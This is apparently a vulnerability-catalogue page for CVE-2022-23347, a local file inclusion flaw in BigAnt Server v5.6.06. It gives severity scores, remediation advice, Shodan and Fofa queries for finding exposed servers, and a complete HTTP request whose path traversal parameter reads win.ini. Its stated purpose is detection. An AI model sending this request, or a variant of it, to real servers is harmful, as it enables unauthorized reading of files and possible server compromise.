🔙 목록으로 돌아가기

CVE-2022-23347: BigAnt Server v5.6.06 - Local File Inclusion

TitleBigAnt Server v5.6.06 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
RemediationApply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.
CVSS Score7.5
EPSS Score0.72327
CVE IDCVE-2022-23347
CWE IDCWE-22
Shodan Queryhttp.html:"BigAnt"http.html:"bigant"
Fofa Querybody="bigant"
Tags cve cve2022 bigant lfi bigantsoft vkev vuln

🔍 Vulnerability Description

BigAnt Server v5.6.06 is vulnerable to local file inclusion.

🌐 HTTP Request

GET /index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23347.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-23347.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A